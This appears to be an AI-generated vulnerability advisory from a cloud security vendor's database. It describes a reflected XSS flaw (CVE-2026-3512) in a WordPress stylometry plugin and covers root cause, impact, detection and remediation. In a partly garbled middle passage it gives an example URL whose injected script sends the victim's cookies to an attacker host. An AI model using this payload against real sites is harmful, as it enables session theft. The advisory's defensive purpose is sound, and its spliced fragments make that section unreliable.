
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-3512 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Writeprint Stylometry plugin for WordPress, affecting all versions up to and including 0.1. The flaw exists in the bjl_wprintstylo_comments_nav() function, which directly outputs the $_GET['p'] parameter into an HTML href attribute without sanitization or escaping. It was published on March 18, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, ENISA EUVD).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically due to the bjl_wprintstylo_comments_nav() function in writeprint-stylometry.php (around line 341–345) directly embedding the unsanitized $_GET['p'] value into an HTML href attribute. An attacker crafts a malicious URL containing a JavaScript payload in the p GET parameter and tricks a victim into clicking it; the server reflects the payload back in the page response, causing the victim's browser to execute the script. Exploitation requires the victim to interact with a crafted link, but no server-side privilege is required to construct the malicious URL (Wordfence, WordPress Trac).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact; availability is not affected. Higher-privileged users (e.g., administrators) clicking a crafted link could result in site takeover or further compromise (Wordfence, ENISA EUVD).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3512 as of the available data. The EPSS score is approximately 0.025% (0.000250), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While the attack vector is network-accessible and requires no server-side privileges, user interaction (clicking a crafted link) is required, limiting opportunistic exploitation (Wordfence).
inurl:writeprint-stylometry).bjl_wprintstylo_comments_nav() function, which renders navigation links using the unsanitized p GET parameter.p parameter, for example: https://target-site.com/page/?p="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.p parameter containing URL-encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=, onload=) or HTML-breaking characters (", >, <).p parameter values; unusual outbound connections from victim browsers to external attacker-controlled domains shortly after page load.The primary remediation is to remove or disable the Writeprint Stylometry plugin, as no patched version beyond 0.1 has been confirmed available at the time of disclosure. WordPress site administrators should audit installed plugins and uninstall any that are unmaintained or unnecessary. As a general hardening measure, implement a Web Application Firewall (WAF) rule to block requests with XSS payloads in GET parameters. Monitor the WordPress plugin repository for an updated version that properly escapes the p parameter using WordPress functions such as esc_url() or esc_attr() before output (Wordfence, WordPress Trac).
The vulnerability was reported and disclosed by Wordfence, which assigned it to the ENISA EUVD database (EUVD-2026-12783). A brief technical write-up was published by Infinit Security shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Wordfence, Infinit Security).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."